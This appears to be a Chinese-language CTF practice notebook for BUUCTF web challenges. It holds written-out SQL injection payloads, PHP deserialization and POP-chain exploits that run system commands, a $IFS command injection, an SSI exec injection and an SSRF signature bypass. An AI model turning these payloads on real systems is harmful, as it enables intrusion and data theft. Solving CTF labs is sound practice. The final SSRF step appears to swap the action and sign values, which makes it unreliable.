buu刷题记

[强网杯 2019]随便注

?inject=-1';show databases%23
?inject=-1';show tables from `supersqli`%23
?inject=-1';show columns from `1919810931114514`%23

得知flag在supersqli库的1919810931114514的flag列下
而且select|update|delete|drop|insert|where都被过滤

解法1

?inject=-1';show tables from `supersqli`%23
?inject=-1';show columns from `words`%23

把word改成其他的表，然后把1919810931114514改成word，把flag改成data,给word表
?inject=-1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);%23
?inject=1' or 1=1%23
拿到flag

解法2

?inject=1';HANDLER `1919810931114514` OPEN; HANDLER `1919810931114514` READ FIRST; HANDLER `1919810931114514` CLOSE;%23

利用mysql的优化查询

[SUCTF 2019]EasySQL

输入1回显1，输入0无回显
猜测语句为select id||flag from Flag
使id=\*,1
这样语句就变成了 select \*,1||flag from Flag
得到flag

[网鼎杯 2020 朱雀组]phpweb

BurpSuite发现这个包
phpinfo被拦截
func=file_get_contents&p=index.php
读取index.php

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

可见，直接getshell的函数都被禁用了，只能利用反序列化

<?php
class Test {
        var $p = "cat /tmp/flagoefiu4r93";
        var $func = "system";
}
$t=new Test();
echo serialize($t);

O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
拿到flag

[WUSTCTF2020]朴实无华

robots.txt
最终找到fl4g.php
?num=1e5&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[极客大挑战 2019]HardSQL

报错注入
check.php?username=1&password=0'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23
flag{a79e3f16-a79d-4949-abe2-e6
check.php?username=1&password=0'or(updatexml(1,concat(0x7e,(select(right(group_concat(password),30))from(H4rDsq1)),0x7e),1))%23
6-a79d-4949-abe2-e64d24a0c9bd}
flag{a79e3f16-a79d-4949-abe2-e64d24a0c9bd}

[MRCTF2020]Ezpop

class Modifier {
   protected  $var;
   public function append($value){
       include($value);
   }
   public function __invoke(){
       $this->append($this->var);
   }
}

class Show{
   public $source;
   public $str;
   public function __construct($file='index.php'){
       $this->source = $file;
       echo 'Welcome to '.$this->source."<br>";
   }
   public function __toString(){
       return $this->str->source;
   }

   public function __wakeup(){
       if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
           echo "hacker";
           $this->source = "index.php";
       }
   }
}

class Test{
   public $p;
   public function __construct(){
       $this->p = array();
   }

   public function __get($key){
       $function = $this->p;
       return $function();
   }
}

if(isset($_GET['pop'])){
   @unserialize($_GET['pop']);
}
else{
   $a=new Show;
   highlight_file(__FILE__);
}

利用链：
Show::__wakeup ->Show::__toString ->Test::__get ->Modifier::__invoke
exp

<?php
class Modifier {
    protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
        echo 1;
    }
}
class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$t=new Show();
$t->source=new Show();
$t->source->str=new Test();
$t->source->str->p=new Modifier();
echo urlencode(serialize($t));

[BJDCTF2020]The mystery of ip

XFF头的ssti

[GXYCTF2019]禁止套娃

git泄露拿到源码

无参数rce
参考文章

?exp=var_dump(scandir(current(localeconv())));//扫描目录下的文件
?exp=var_dump(next(array_reverse(scandir(current(localeconv())))));//flag.php
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));//读取文件

[BSidesCF 2020]Had a bad day

[BJDCTF2020]EasySearch

index.php.swp查看源码

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

首先是md5碰撞,

<?php
for($i=0;$i<10000000;$i++){
	if(substr(md5($i),0,6)=='6d0bc1')
	{
		echo $i;
		break;
	}
}
?>

得到数字2020666
接下来是shtml的代码注入，
<!--#exec cmd="ls .."-->
最后拿到flag即可

[De1CTF 2019]SSRF Me

拿到源码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

@app.route("/geneSign", methods=['GET', 'POST'])
@app.route('/De1ta',methods=['GET','POST'])
@app.route('/')

三个路由
重要的是前两个
geneSign接受参数param返回secert_key + param + 'scan'拼接后的md5值
传入param=flag.txtread
则返回md5(secret_key+'flag.txtreadscan') fe8e0ed36ace3265aa80ae27027a8d64
De1ta接收get参数param和cookie参数sign、action
传入param=flag.txt、action=fe8e0ed36ace3265aa80ae27027a8d64、sign=readscan，
经过task类中的拼接刚好可以绕过检测